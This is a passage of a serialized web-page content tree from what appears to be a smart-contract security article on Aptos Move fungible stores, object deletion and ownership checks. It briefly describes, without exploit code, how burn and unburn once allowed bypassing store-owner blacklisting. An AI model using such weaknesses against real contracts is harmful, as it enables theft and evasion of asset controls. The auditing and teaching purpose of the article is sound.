move_to",{"type":23,"tag":75,"props":74277,"children":74278},{"style":94},[74279],{"type":29,"value":643},{"type":23,"tag":75,"props":74281,"children":74282},{"style":110},[74283],{"type":29,"value":74284},"metadata_object_signer",{"type":23,"tag":75,"props":74286,"children":74287},{"style":94},[74288],{"type":29,"value":118},{"type":23,"tag":75,"props":74290,"children":74291},{"class":77,"line":220},[74292,74297],{"type":23,"tag":75,"props":74293,"children":74294},{"style":104},[74295],{"type":29,"value":74296},"        Metadata",{"type":23,"tag":75,"props":74298,"children":74299},{"style":94},[74300],{"type":29,"value":401},{"type":23,"tag":75,"props":74302,"children":74303},{"class":77,"line":248},[74304,74309],{"type":23,"tag":75,"props":74305,"children":74306},{"style":110},[74307],{"type":29,"value":74308},"            name",{"type":23,"tag":75,"props":74310,"children":74311},{"style":94},[74312],{"type":29,"value":118},{"type":23,"tag":75,"props":74314,"children":74315},{"class":77,"line":270},[74316,74321],{"type":23,"tag":75,"props":74317,"children":74318},{"style":110},[74319],{"type":29,"value":74320},"            symbol",{"type":23,"tag":75,"props":74322,"children":74323},{"style":94},[74324],{"type":29,"value":118},{"type":23,"tag":75,"props":74326,"children":74327},{"class":77,"line":279},[74328,74333],{"type":23,"tag":75,"props":74329,"children":74330},{"style":110},[74331],{"type":29,"value":74332},"            decimals",{"type":23,"tag":75,"props":74334,"children":74335},{"style":94},[74336],{"type":29,"value":118},{"type":23,"tag":75,"props":74338,"children":74339},{"class":77,"line":303},[74340,74345],{"type":23,"tag":75,"props":74341,"children":74342},{"style":110},[74343],{"type":29,"value":74344},"            icon_uri",{"type":23,"tag":75,"props":74346,"children":74347},{"style":94},[74348],{"type":29,"value":118},{"type":23,"tag":75,"props":74350,"children":74351},{"class":77,"line":322},[74352,74357],{"type":23,"tag":75,"props":74353,"children":74354},{"style":110},[74355],{"type":29,"value":74356},"            project_uri",{"type":23,"tag":75,"props":74358,"children":74359},{"style":94},[74360],{"type":29,"value":118},{"type":23,"tag":75,"props":74362,"children":74363},{"class":77,"line":340},[74364],{"type":23,"tag":75,"props":74365,"children":74366},{"style":94},[74367],{"type":29,"value":2503},{"type":23,"tag":75,"props":74369,"children":74370},{"class":77,"line":349},[74371],{"type":23,"tag":75,"props":74372,"children":74373},{"style":94},[74374],{"type":29,"value":54846},{"type":23,"tag":75,"props":74376,"children":74377},{"class":77,"line":363},[74378,74382,74386],{"type":23,"tag":75,"props":74379,"children":74380},{"style":94},[74381],{"type":29,"value":814},{"type":23,"tag":75,"props":74383,"children":74384},{"style":209},[74385],{"type":29,"value":9174},{"type":23,"tag":75,"props":74387,"children":74388},{"style":94},[74389],{"type":29,"value":823},{"type":23,"tag":75,"props":74391,"children":74392},{"class":77,"line":656},[74393],{"type":23,"tag":75,"props":74394,"children":74395},{"style":94},[74396],{"type":29,"value":369},{"type":23,"tag":30016,"props":74398,"children":74399},{},[],{"type":23,"tag":32,"props":74401,"children":74402},{},[74403,74405,74410,74412,74417],{"type":29,"value":74404},"Deletions can be a big issue even when dealing with objects that are eligible for deletion. For example, a ",{"type":23,"tag":71,"props":74406,"children":74408},{"className":74407},[],[74409],{"type":29,"value":73255},{"type":29,"value":74411}," is also an object, and a \"secondary\" ",{"type":23,"tag":71,"props":74413,"children":74415},{"className":74414},[],[74416],{"type":29,"value":73255},{"type":29,"value":74418}," can be created as deletable if empty. The catch is that deletion can occur both at the fungible asset level and at the object level.",{"type":23,"tag":64,"props":74420,"children":74422},{"className":987,"code":74421,"language":986,"meta":7,"style":7},"//Fungible asset\npublic fun remove_store(delete_ref: &DeleteRef)\n\n//Object\npublic fun delete(ref: DeleteRef)\n",[74423],{"type":23,"tag":71,"props":74424,"children":74425},{"__ignoreMap":7},[74426,74434,74476,74483,74491],{"type":23,"tag":75,"props":74427,"children":74428},{"class":77,"line":78},[74429],{"type":23,"tag":75,"props":74430,"children":74431},{"style":3621},[74432],{"type":29,"value":74433},"//Fungible asset\n",{"type":23,"tag":75,"props":74435,"children":74436},{"class":77,"line":100},[74437,74441,74445,74450,74454,74459,74463,74467,74472],{"type":23,"tag":75,"props":74438,"children":74439},{"style":110},[74440],{"type":29,"value":172},{"type":23,"tag":75,"props":74442,"children":74443},{"style":110},[74444],{"type":29,"value":17474},{"type":23,"tag":75,"props":74446,"children":74447},{"style":88},[74448],{"type":29,"value":74449}," remove_store",{"type":23,"tag":75,"props":74451,"children":74452},{"style":94},[74453],{"type":29,"value":643},{"type":23,"tag":75,"props":74455,"children":74456},{"style":110},[74457],{"type":29,"value":74458},"delete_ref",{"type":23,"tag":75,"props":74460,"children":74461},{"style":209},[74462],{"type":29,"value":1018},{"type":23,"tag":75,"props":74464,"children":74465},{"style":209},[74466],{"type":29,"value":844},{"type":23,"tag":75,"props":74468,"children":74469},{"style":104},[74470],{"type":29,"value":74471},"DeleteRef",{"type":23,"tag":75,"props":74473,"children":74474},{"style":94},[74475],{"type":29,"value":653},{"type":23,"tag":75,"props":74477,"children":74478},{"class":77,"line":121},[74479],{"type":23,"tag":75,"props":74480,"children":74481},{"emptyLinePlaceholder":15},[74482],{"type":29,"value":276},{"type":23,"tag":75,"props":74484,"children":74485},{"class":77,"line":138},[74486],{"type":23,"tag":75,"props":74487,"children":74488},{"style":3621},[74489],{"type":29,"value":74490},"//Object\n",{"type":23,"tag":75,"props":74492,"children":74493},{"class":77,"line":161},[74494,74498,74502,74507,74511,74516,74520,74525],{"type":23,"tag":75,"props":74495,"children":74496},{"style":110},[74497],{"type":29,"value":172},{"type":23,"tag":75,"props":74499,"children":74500},{"style":110},[74501],{"type":29,"value":17474},{"type":23,"tag":75,"props":74503,"children":74504},{"style":88},[74505],{"type":29,"value":74506}," delete",{"type":23,"tag":75,"props":74508,"children":74509},{"style":94},[74510],{"type":29,"value":643},{"type":23,"tag":75,"props":74512,"children":74513},{"style":82},[74514],{"type":29,"value":74515},"ref",{"type":23,"tag":75,"props":74517,"children":74518},{"style":209},[74519],{"type":29,"value":1018},{"type":23,"tag":75,"props":74521,"children":74522},{"style":104},[74523],{"type":29,"value":74524}," DeleteRef",{"type":23,"tag":75,"props":74526,"children":74527},{"style":94},[74528],{"type":29,"value":653},{"type":23,"tag":32,"props":74530,"children":74531},{},[74532,74534,74540,74542,74547,74549,74554,74556,74561,74563,74569,74571,74577,74579,74584],{"type":29,"value":74533},"When ",{"type":23,"tag":71,"props":74535,"children":74537},{"className":74536},[],[74538],{"type":29,"value":74539},"object::delete",{"type":29,"value":74541}," removes the ",{"type":23,"tag":71,"props":74543,"children":74545},{"className":74544},[],[74546],{"type":29,"value":60038},{"type":29,"value":74548}," from a ",{"type":23,"tag":71,"props":74550,"children":74552},{"className":74551},[],[74553],{"type":29,"value":73255},{"type":29,"value":74555}," object, the ",{"type":23,"tag":71,"props":74557,"children":74559},{"className":74558},[],[74560],{"type":29,"value":73255},{"type":29,"value":74562}," resource becomes permanently undeletable. This is because ",{"type":23,"tag":71,"props":74564,"children":74566},{"className":74565},[],[74567],{"type":29,"value":74568},"remove_store",{"type":29,"value":74570}," can't create an ",{"type":23,"tag":71,"props":74572,"children":74574},{"className":74573},[],[74575],{"type":29,"value":74576},"Object\u003CFungibleStore>",{"type":29,"value":74578}," without an ",{"type":23,"tag":71,"props":74580,"children":74582},{"className":74581},[],[74583],{"type":29,"value":60038},{"type":29,"value":74585}," underneath, causing the operation to fail.",{"type":23,"tag":64,"props":74587,"children":74589},{"className":987,"code":74588,"language":986,"meta":7,"style":7},"public fun remove_store(delete_ref: &DeleteRef) acquires [...] {\n    let store = &object::object_from_delete_ref\u003CFungibleStore>(delete_ref);\n    [...]\n}\n",[74590],{"type":23,"tag":71,"props":74591,"children":74592},{"__ignoreMap":7},[74593,74648,74700,74715],{"type":23,"tag":75,"props":74594,"children":74595},{"class":77,"line":78},[74596,74600,74604,74608,74612,74616,74620,74624,74628,74632,74636,74640,74644],{"type":23,"tag":75,"props":74597,"children":74598},{"style":110},[74599],{"type":29,"value":172},{"type":23,"tag":75,"props":74601,"children":74602},{"style":110},[74603],{"type":29,"value":17474},{"type":23,"tag":75,"props":74605,"children":74606},{"style":88},[74607],{"type":29,"value":74449},{"type":23,"tag":75,"props":74609,"children":74610},{"style":94},[74611],{"type":29,"value":643},{"type":23,"tag":75,"props":74613,"children":74614},{"style":110},[74615],{"type":29,"value":74458},{"type":23,"tag":75,"props":74617,"children":74618},{"style":209},[74619],{"type":29,"value":1018},{"type":23,"tag":75,"props":74621,"children":74622},{"style":209},[74623],{"type":29,"value":844},{"type":23,"tag":75,"props":74625,"children":74626},{"style":104},[74627],{"type":29,"value":74471},{"type":23,"tag":75,"props":74629,"children":74630},{"style":94},[74631],{"type":29,"value":167},{"type":23,"tag":75,"props":74633,"children":74634},{"style":110},[74635],{"type":29,"value":17611},{"type":23,"tag":75,"props":74637,"children":74638},{"style":94},[74639],{"type":29,"value":34247},{"type":23,"tag":75,"props":74641,"children":74642},{"style":209},[74643],{"type":29,"value":9174},{"type":23,"tag":75,"props":74645,"children":74646},{"style":94},[74647],{"type":29,"value":72945},{"type":23,"tag":75,"props":74649,"children":74650},{"class":77,"line":100},[74651,74655,74659,74663,74667,74671,74675,74680,74684,74688,74692,74696],{"type":23,"tag":75,"props":74652,"children":74653},{"style":82},[74654],{"type":29,"value":1183},{"type":23,"tag":75,"props":74656,"children":74657},{"style":110},[74658],{"type":29,"value":2450},{"type":23,"tag":75,"props":74660,"children":74661},{"style":209},[74662],{"type":29,"value":1193},{"type":23,"tag":75,"props":74664,"children":74665},{"style":209},[74666],{"type":29,"value":844},{"type":23,"tag":75,"props":74668,"children":74669},{"style":94},[74670],{"type":29,"value":74088},{"type":23,"tag":75,"props":74672,"children":74673},{"style":209},[74674],{"type":29,"value":1407},{"type":23,"tag":75,"props":74676,"children":74677},{"style":110},[74678],{"type":29,"value":74679},"object_from_delete_ref",{"type":23,"tag":75,"props":74681,"children":74682},{"style":94},[74683],{"type":29,"value":295},{"type":23,"tag":75,"props":74685,"children":74686},{"style":104},[74687],{"type":29,"value":73255},{"type":23,"tag":75,"props":74689,"children":74690},{"style":94},[74691],{"type":29,"value":18870},{"type":23,"tag":75,"props":74693,"children":74694},{"style":110},[74695],{"type":29,"value":74458},{"type":23,"tag":75,"props":74697,"children":74698},{"style":94},[74699],{"type":29,"value":15099},{"type":23,"tag":75,"props":74701,"children":74702},{"class":77,"line":121},[74703,74707,74711],{"type":23,"tag":75,"props":74704,"children":74705},{"style":94},[74706],{"type":29,"value":73896},{"type":23,"tag":75,"props":74708,"children":74709},{"style":209},[74710],{"type":29,"value":9174},{"type":23,"tag":75,"props":74712,"children":74713},{"style":94},[74714],{"type":29,"value":823},{"type":23,"tag":75,"props":74716,"children":74717},{"class":77,"line":138},[74718],{"type":23,"tag":75,"props":74719,"children":74720},{"style":94},[74721],{"type":29,"value":369},{"type":23,"tag":32,"props":74723,"children":74724},{},[74725,74727,74732,74734,74740,74742,74747],{"type":29,"value":74726},"In addition, such \"deleted\" ",{"type":23,"tag":71,"props":74728,"children":74730},{"className":74729},[],[74731],{"type":29,"value":73255},{"type":29,"value":74733}," objects remain at least partially operable. For instance, ",{"type":23,"tag":71,"props":74735,"children":74737},{"className":74736},[],[74738],{"type":29,"value":74739},"fungible_asset::deposit",{"type":29,"value":74741}," does not check the ",{"type":23,"tag":71,"props":74743,"children":74745},{"className":74744},[],[74746],{"type":29,"value":60038},{"type":29,"value":74748}," existence.",{"type":23,"tag":923,"props":74750,"children":74752},{"id":74751},"ownership",[74753],{"type":29,"value":74754},"Ownership",{"type":23,"tag":32,"props":74756,"children":74757},{},[74758,74760,74765,74767,74773,74775,74780],{"type":29,"value":74759},"Each object has an owner. Fungible assets rely on the ",{"type":23,"tag":71,"props":74761,"children":74763},{"className":74762},[],[74764],{"type":29,"value":60038},{"type":29,"value":74766}," ownership model. For example, during a withdrawal operation, the signer is validated using ",{"type":23,"tag":71,"props":74768,"children":74770},{"className":74769},[],[74771],{"type":29,"value":74772},"object::owns",{"type":29,"value":74774}," to confirm ownership of the ",{"type":23,"tag":71,"props":74776,"children":74778},{"className":74777},[],[74779],{"type":29,"value":73255},{"type":29,"value":61362},{"type":23,"tag":64,"props":74782,"children":74784},{"className":987,"code":74783,"language":986,"meta":7,"style":7},"public(friend) fun withdraw_sanity_check\u003CT: key>(\n    owner: &signer,\n    store: Object\u003CT>,\n    abort_on_dispatch: bool,\n) acquires FungibleStore, DispatchFunctionStore {\n    assert!(object::owns(store, signer::address_of(owner)), error::permission_denied(ENOT_STORE_OWNER));\n    [...]\n}\n",[74785],{"type":23,"tag":71,"props":74786,"children":74787},{"__ignoreMap":7},[74788,74836,74860,74887,74907,74935,75003,75018],{"type":23,"tag":75,"props":74789,"children":74790},{"class":77,"line":78},[74791,74795,74799,74803,74807,74811,74816,74820,74824,74828,74832],{"type":23,"tag":75,"props":74792,"children":74793},{"style":88},[74794],{"type":29,"value":172},{"type":23,"tag":75,"props":74796,"children":74797},{"style":94},[74798],{"type":29,"value":643},{"type":23,"tag":75,"props":74800,"children":74801},{"style":110},[74802],{"type":29,"value":18362},{"type":23,"tag":75,"props":74804,"children":74805},{"style":94},[74806],{"type":29,"value":167},{"type":23,"tag":75,"props":74808,"children":74809},{"style":110},[74810],{"type":29,"value":18371},{"type":23,"tag":75,"props":74812,"children":74813},{"style":110},[74814],{"type":29,"value":74815}," withdraw_sanity_check",{"type":23,"tag":75,"props":74817,"children":74818},{"style":94},[74819],{"type":29,"value":295},{"type":23,"tag":75,"props":74821,"children":74822},{"style":104},[74823],{"type":29,"value":17255},{"type":23,"tag":75,"props":74825,"children":74826},{"style":209},[74827],{"type":29,"value":1018},{"type":23,"tag":75,"props":74829,"children":74830},{"style":110},[74831],{"type":29,"value":1663},{"type":23,"tag":75,"props":74833,"children":74834},{"style":94},[74835],{"type":29,"value":1064},{"type":23,"tag":75,"props":74837,"children":74838},{"class":77,"line":100},[74839,74844,74848,74852,74856],{"type":23,"tag":75,"props":74840,"children":74841},{"style":110},[74842],{"type":29,"value":74843},"    owner",{"type":23,"tag":75,"props":74845,"children":74846},{"style":209},[74847],{"type":29,"value":1018},{"type":23,"tag":75,"props":74849,"children":74850},{"style":209},[74851],{"type":29,"value":844},{"type":23,"tag":75,"props":74853,"children":74854},{"style":110},[74855],{"type":29,"value":3270},{"type":23,"tag":75,"props":74857,"children":74858},{"style":94},[74859],{"type":29,"value":118},{"type":23,"tag":75,"props":74861,"children":74862},{"class":77,"line":121},[74863,74867,74871,74875,74879,74883],{"type":23,"tag":75,"props":74864,"children":74865},{"style":110},[74866],{"type":29,"value":40610},{"type":23,"tag":75,"props":74868,"children":74869},{"style":209},[74870],{"type":29,"value":1018},{"type":23,"tag":75,"props":74872,"children":74873},{"style":104},[74874],{"type":29,"value":72742},{"type":23,"tag":75,"props":74876,"children":74877},{"style":94},[74878],{"type":29,"value":295},{"type":23,"tag":75,"props":74880,"children":74881},{"style":104},[74882],{"type":29,"value":17255},{"type":23,"tag":75,"props":74884,"children":74885},{"style":94},[74886],{"type":29,"value":1114},{"type":23,"tag":75,"props":74888,"children":74889},{"class":77,"line":138},[74890,74895,74899,74903],{"type":23,"tag":75,"props":74891,"children":74892},{"style":110},[74893],{"type":29,"value":74894},"    abort_on_dispatch",{"type":23,"tag":75,"props":74896,"children":74897},{"style":209},[74898],{"type":29,"value":1018},{"type":23,"tag":75,"props":74900,"children":74901},{"style":104},[74902],{"type":29,"value":3001},{"type":23,"tag":75,"props":74904,"children":74905},{"style":94},[74906],{"type":29,"value":118},{"type":23,"tag":75,"props":74908,"children":74909},{"class":77,"line":161},[74910,74914,74918,74922,74926,74931],{"type":23,"tag":75,"props":74911,"children":74912},{"style":94},[74913],{"type":29,"value":167},{"type":23,"tag":75,"props":74915,"children":74916},{"style":110},[74917],{"type":29,"value":17611},{"type":23,"tag":75,"props":74919,"children":74920},{"style":104},[74921],{"type":29,"value":73275},{"type":23,"tag":75,"props":74923,"children":74924},{"style":94},[74925],{"type":29,"value":611},{"type":23,"tag":75,"props":74927,"children":74928},{"style":104},[74929],{"type":29,"value":74930},"DispatchFunctionStore",{"type":23,"tag":75,"props":74932,"children":74933},{"style":94},[74934],{"type":29,"value":401},{"type":23,"tag":75,"props":74936,"children":74937},{"class":77,"line":196},[74938,74942,74947,74951,74956,74960,74964,74968,74972,74976,74980,74984,74989,74993,74998],{"type":23,"tag":75,"props":74939,"children":74940},{"style":88},[74941],{"type":29,"value":73523},{"type":23,"tag":75,"props":74943,"children":74944},{"style":94},[74945],{"type":29,"value":74946},"(object",{"type":23,"tag":75,"props":74948,"children":74949},{"style":209},[74950],{"type":29,"value":1407},{"type":23,"tag":75,"props":74952,"children":74953},{"style":88},[74954],{"type":29,"value":74955},"owns",{"type":23,"tag":75,"props":74957,"children":74958},{"style":94},[74959],{"type":29,"value":643},{"type":23,"tag":75,"props":74961,"children":74962},{"style":110},[74963],{"type":29,"value":2411},{"type":23,"tag":75,"props":74965,"children":74966},{"style":94},[74967],{"type":29,"value":24179},{"type":23,"tag":75,"props":74969,"children":74970},{"style":209},[74971],{"type":29,"value":1407},{"type":23,"tag":75,"props":74973,"children":74974},{"style":88},[74975],{"type":29,"value":18471},{"type":23,"tag":75,"props":74977,"children":74978},{"style":94},[74979],{"type":29,"value":643},{"type":23,"tag":75,"props":74981,"children":74982},{"style":110},[74983],{"type":29,"value":26837},{"type":23,"tag":75,"props":74985,"children":74986},{"style":94},[74987],{"type":29,"value":74988},")), error",{"type":23,"tag":75,"props":74990,"children":74991},{"style":209},[74992],{"type":29,"value":1407},{"type":23,"tag":75,"props":74994,"children":74995},{"style":88},[74996],{"type":29,"value":74997},"permission_denied",{"type":23,"tag":75,"props":74999,"children":75000},{"style":94},[75001],{"type":29,"value":75002},"(ENOT_STORE_OWNER));\n",{"type":23,"tag":75,"props":75004,"children":75005},{"class":77,"line":220},[75006,75010,75014],{"type":23,"tag":75,"props":75007,"children":75008},{"style":94},[75009],{"type":29,"value":73896},{"type":23,"tag":75,"props":75011,"children":75012},{"style":209},[75013],{"type":29,"value":9174},{"type":23,"tag":75,"props":75015,"children":75016},{"style":94},[75017],{"type":29,"value":823},{"type":23,"tag":75,"props":75019,"children":75020},{"class":77,"line":248},[75021],{"type":23,"tag":75,"props":75022,"children":75023},{"style":94},[75024],{"type":29,"value":369},{"type":23,"tag":32,"props":75026,"children":75027},{},[75028,75030,75035,75037,75043,75045,75051],{"type":29,"value":75029},"The thing to note is that defining ownership with ",{"type":23,"tag":71,"props":75031,"children":75033},{"className":75032},[],[75034],{"type":29,"value":74772},{"type":29,"value":75036}," can be tricky. The ",{"type":23,"tag":71,"props":75038,"children":75040},{"className":75039},[],[75041],{"type":29,"value":75042},"burn",{"type":29,"value":75044}," function was one of the reasons behind that. It allowed changing the object's owner to the ",{"type":23,"tag":71,"props":75046,"children":75048},{"className":75047},[],[75049],{"type":29,"value":75050},"BURN_ADDRESS",{"type":29,"value":75052}," while bypassing transfer restrictions:",{"type":23,"tag":64,"props":75054,"children":75056},{"className":987,"code":75055,"language":986,"meta":7,"style":7},"public entry fun burn\u003CT: key>(owner: &signer, object: Object\u003CT>) acquires ObjectCore {\n    let original_owner = signer::address_of(owner);\n    assert!(is_owner(object, original_owner), error::permission_denied(ENOT_OBJECT_OWNER));\n    let object_addr = object.inner;\n    move_to(&create_signer(object_addr), TombStone { original_owner });\n    transfer_raw_inner(object_addr, BURN_ADDRESS);\n}\n",[75057],{"type":23,"tag":71,"props":75058,"children":75059},{"__ignoreMap":7},[75060,75157,75198,75248,75277,75327,75348],{"type":23,"tag":75,"props":75061,"children":75062},{"class":77,"line":78},[75063,75067,75071,75075,75080,75084,75088,75092,75096,75100,75104,75108,75112,75116,75120,75124,75128,75132,75136,75140,75144,75148,75153],{"type":23,"tag":75,"props":75064,"children":75065},{"style":110},[75066],{"type":29,"value":172},{"type":23,"tag":75,"props":75068,"children":75069},{"style":110},[75070],{"type":29,"value":13399},{"type":23,"tag":75,"props":75072,"children":75073},{"style":110},[75074],{"type":29,"value":17474},{"type":23,"tag":75,"props":75076,"children":75077},{"style":110},[75078],{"type":29,"value":75079}," burn",{"type":23,"tag":75,"props":75081,"children":75082},{"style":94},[75083],{"type":29,"value":295},{"type":23,"tag":75,"props":75085,"children":75086},{"style":104},[75087],{"type":29,"value":17255},{"type":23,"tag":75,"props":75089,"children":75090},{"style":209},[75091],{"type":29,"value":1018},{"type":23,"tag":75,"props":75093,"children":75094},{"style":110},[75095],{"type":29,"value":1663},{"type":23,"tag":75,"props":75097,"children":75098},{"style":94},[75099],{"type":29,"value":18870},{"type":23,"tag":75,"props":75101,"children":75102},{"style":110},[75103],{"type":29,"value":26837},{"type":23,"tag":75,"props":75105,"children":75106},{"style":209},[75107],{"type":29,"value":1018},{"type":23,"tag":75,"props":75109,"children":75110},{"style":209},[75111],{"type":29,"value":844},{"type":23,"tag":75,"props":75113,"children":75114},{"style":110},[75115],{"type":29,"value":3270},{"type":23,"tag":75,"props":75117,"children":75118},{"style":94},[75119],{"type":29,"value":611},{"type":23,"tag":75,"props":75121,"children":75122},{"style":110},[75123],{"type":29,"value":74088},{"type":23,"tag":75,"props":75125,"children":75126},{"style":209},[75127],{"type":29,"value":1018},{"type":23,"tag":75,"props":75129,"children":75130},{"style":104},[75131],{"type":29,"value":72742},{"type":23,"tag":75,"props":75133,"children":75134},{"style":94},[75135],{"type":29,"value":295},{"type":23,"tag":75,"props":75137,"children":75138},{"style":104},[75139],{"type":29,"value":17255},{"type":23,"tag":75,"props":75141,"children":75142},{"style":94},[75143],{"type":29,"value":31665},{"type":23,"tag":75,"props":75145,"children":75146},{"style":110},[75147],{"type":29,"value":17611},{"type":23,"tag":75,"props":75149,"children":75150},{"style":104},[75151],{"type":29,"value":75152}," ObjectCore",{"type":23,"tag":75,"props":75154,"children":75155},{"style":94},[75156],{"type":29,"value":401},{"type":23,"tag":75,"props":75158,"children":75159},{"class":77,"line":100},[75160,75164,75169,75173,75178,75182,75186,75190,75194],{"type":23,"tag":75,"props":75161,"children":75162},{"style":82},[75163],{"type":29,"value":1183},{"type":23,"tag":75,"props":75165,"children":75166},{"style":110},[75167],{"type":29,"value":75168}," original_owner",{"type":23,"tag":75,"props":75170,"children":75171},{"style":209},[75172],{"type":29,"value":1193},{"type":23,"tag":75,"props":75174,"children":75175},{"style":94},[75176],{"type":29,"value":75177}," signer",{"type":23,"tag":75,"props":75179,"children":75180},{"style":209},[75181],{"type":29,"value":1407},{"type":23,"tag":75,"props":75183,"children":75184},{"style":88},[75185],{"type":29,"value":18471},{"type":23,"tag":75,"props":75187,"children":75188},{"style":94},[75189],{"type":29,"value":643},{"type":23,"tag":75,"props":75191,"children":75192},{"style":110},[75193],{"type":29,"value":26837},{"type":23,"tag":75,"props":75195,"children":75196},{"style":94},[75197],{"type":29,"value":15099},{"type":23,"tag":75,"props":75199,"children":75200},{"class":77,"line":121},[75201,75205,75209,75214,75218,75222,75226,75231,75235,75239,75243],{"type":23,"tag":75,"props":75202,"children":75203},{"style":88},[75204],{"type":29,"value":73523},{"type":23,"tag":75,"props":75206,"children":75207},{"style":94},[75208],{"type":29,"value":643},{"type":23,"tag":75,"props":75210,"children":75211},{"style":88},[75212],{"type":29,"value":75213},"is_owner",{"type":23,"tag":75,"props":75215,"children":75216},{"style":94},[75217],{"type":29,"value":643},{"type":23,"tag":75,"props":75219,"children":75220},{"style":110},[75221],{"type":29,"value":74088},{"type":23,"tag":75,"props":75223,"children":75224},{"style":94},[75225],{"type":29,"value":611},{"type":23,"tag":75,"props":75227,"children":75228},{"style":110},[75229],{"type":29,"value":75230},"original_owner",{"type":23,"tag":75,"props":75232,"children":75233},{"style":94},[75234],{"type":29,"value":74111},{"type":23,"tag":75,"props":75236,"children":75237},{"style":209},[75238],{"type":29,"value":1407},{"type":23,"tag":75,"props":75240,"children":75241},{"style":88},[75242],{"type":29,"value":74997},{"type":23,"tag":75,"props":75244,"children":75245},{"style":94},[75246],{"type":29,"value":75247},"(ENOT_OBJECT_OWNER));\n",{"type":23,"tag":75,"props":75249,"children":75250},{"class":77,"line":138},[75251,75255,75260,75264,75268,75272],{"type":23,"tag":75,"props":75252,"children":75253},{"style":82},[75254],{"type":29,"value":1183},{"type":23,"tag":75,"props":75256,"children":75257},{"style":110},[75258],{"type":29,"value":75259}," object_addr",{"type":23,"tag":75,"props":75261,"children":75262},{"style":209},[75263],{"type":29,"value":1193},{"type":23,"tag":75,"props":75265,"children":75266},{"style":110},[75267],{"type":29,"value":73673},{"type":23,"tag":75,"props":75269,"children":75270},{"style":209},[75271],{"type":29,"value":557},{"type":23,"tag":75,"props":75273,"children":75274},{"style":94},[75275],{"type":29,"value":75276},"inner;\n",{"type":23,"tag":75,"props":75278,"children":75279},{"class":77,"line":161},[75280,75284,75288,75292,75297,75301,75306,75310,75315,75319,75323],{"type":23,"tag":75,"props":75281,"children":75282},{"style":88},[75283],{"type":29,"value":74275},{"type":23,"tag":75,"props":75285,"children":75286},{"style":94},[75287],{"type":29,"value":643},{"type":23,"tag":75,"props":75289,"children":75290},{"style":209},[75291],{"type":29,"value":1277},{"type":23,"tag":75,"props":75293,"children":75294},{"style":88},[75295],{"type":29,"value":75296},"create_signer",{"type":23,"tag":75,"props":75298,"children":75299},{"style":94},[75300],{"type":29,"value":643},{"type":23,"tag":75,"props":75302,"children":75303},{"style":110},[75304],{"type":29,"value":75305},"object_addr",{"type":23,"tag":75,"props":75307,"children":75308},{"style":94},[75309],{"type":29,"value":3851},{"type":23,"tag":75,"props":75311,"children":75312},{"style":104},[75313],{"type":29,"value":75314},"TombStone",{"type":23,"tag":75,"props":75316,"children":75317},{"style":94},[75318],{"type":29,"value":20837},{"type":23,"tag":75,"props":75320,"children":75321},{"style":110},[75322],{"type":29,"value":75230},{"type":23,"tag":75,"props":75324,"children":75325},{"style":94},[75326],{"type":29,"value":50026},{"type":23,"tag":75,"props":75328,"children":75329},{"class":77,"line":196},[75330,75335,75339,75343],{"type":23,"tag":75,"props":75331,"children":75332},{"style":88},[75333],{"type":29,"value":75334},"    transfer_raw_inner",{"type":23,"tag":75,"props":75336,"children":75337},{"style":94},[75338],{"type":29,"value":643},{"type":23,"tag":75,"props":75340,"children":75341},{"style":110},[75342],{"type":29,"value":75305},{"type":23,"tag":75,"props":75344,"children":75345},{"style":94},[75346],{"type":29,"value":75347},", BURN_ADDRESS);\n",{"type":23,"tag":75,"props":75349,"children":75350},{"class":77,"line":220},[75351],{"type":23,"tag":75,"props":75352,"children":75353},{"style":94},[75354],{"type":29,"value":369},{"type":23,"tag":32,"props":75356,"children":75357},{},[75358,75364,75366,75371,75372,75379,75381,75386],{"type":23,"tag":71,"props":75359,"children":75361},{"className":75360},[],[75362],{"type":29,"value":75363},"unburn",{"type":29,"value":75365}," is a way to restore the previous object owner. In a past audit, this mechanism could be exploited to bypass fungible store owner blacklisting by temporarily setting ownership to the unblacklisted ",{"type":23,"tag":71,"props":75367,"children":75369},{"className":75368},[],[75370],{"type":29,"value":75050},{"type":29,"value":29754},{"type":23,"tag":940,"props":75373,"children":75376},{"href":75374,"rel":75375},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-99.md",[944],[75377],{"type":29,"value":75378},"AIP-99",{"type":29,"value":75380}," is a proposal to roll back the ",{"type":23,"tag":71,"props":75382,"children":75384},{"className":75383},[],[75385],{"type":29,"value":75042},{"type":29,"value":75387}," feature, but previously burned objects will remain restorable.",{"type":23,"tag":1829,"props":75389,"children":75390},{},[75391],{"type":23,"tag":32,"props":75392,"children":75393},{},[75394,75396,75400],{"type":29,"value":75395},"This ",{"type":23,"tag":75,"props":75397,"children":75398},{},[75399],{"type":29,"value":75378},{"type":29,"value":75401}," seeks to disable safe object burn, as it caused extra complexity, and sometimes unexpected consequences. As a result of this AIP, users will still be able to unburn their burnt objects, but will not be able to burn any new objects.",{"type":23,"tag":32,"props":75403,"children":75404},{},[75405,75407,75413,75415,75420,75422,75427],{"type":29,"value":75406},"Another important thing is that ",{"type":23,"tag":71,"props":75408,"children":75410},{"className":75409},[],[75411],{"type":29,"value":75412},"fungible_asset::set_untransferable",{"type":29,"value":75414}," can be used to make all new ",{"type":23,"tag":71,"props":75416,"children":75418},{"className":75417},[],[75419],{"type":29,"value":73759},{"type":29,"value":75421}," for this asset untransferable, preventing ownership changes. However, this restriction doesn't apply to the parent object, allowing a transferable parent to be moved even if it owns a non-transferable ",{"type":23,"tag":71,"props":75423,"children":75425},{"className":75424},[],[75426],{"type":29,"value":73255},{"type":29,"value":557},{"type":23,"tag":32,"props":75429,"children":75430},{},[75431,75433,75438,75440,75446,75448,75453,75455,75460],{"type":29,"value":75432},"Do we need to care about this case? We do, because ownership is transitive. If entity X owns an object that owns a ",{"type":23,"tag":71,"props":75434,"children":75436},{"className":75435},[],[75437],{"type":29,"value":73255},{"type":29,"value":75439},", X can withdraw from that store. This is because ",{"type":23,"tag":71,"props":75441,"children":75443},{"className":75442},[],[75444],{"type":29,"value":75445},"fungible_asset::withdraw",{"type":29,"value":75447}," uses ",{"type":23,"tag":71,"props":75449,"children":75451},{"className":75450},[],[75452],{"type":29,"value":74772},{"type":29,"value":75454}," to verify both direct and indirect ownership of the ",{"type":23,"tag":71,"props":75456,"children":75458},{"className":75457},[],[75459],{"type":29,"value":73255},{"type":29,"value":61362},{"type":23,"tag":64,"props":75462,"children":75464},{"className":987,"code":75463,"language":986,"meta":7,"style":7},"fun verify_ungated_and_descendant(owner: address, destination: address) acquires ObjectCore {\n        [...]\n    while (owner != current_address) {\n        count = count + 1;\n        [...]\n        assert!(\n            exists\u003CObjectCore>(current_address),\n            error::permission_denied(ENOT_OBJECT_OWNER),\n        );\n        let object = 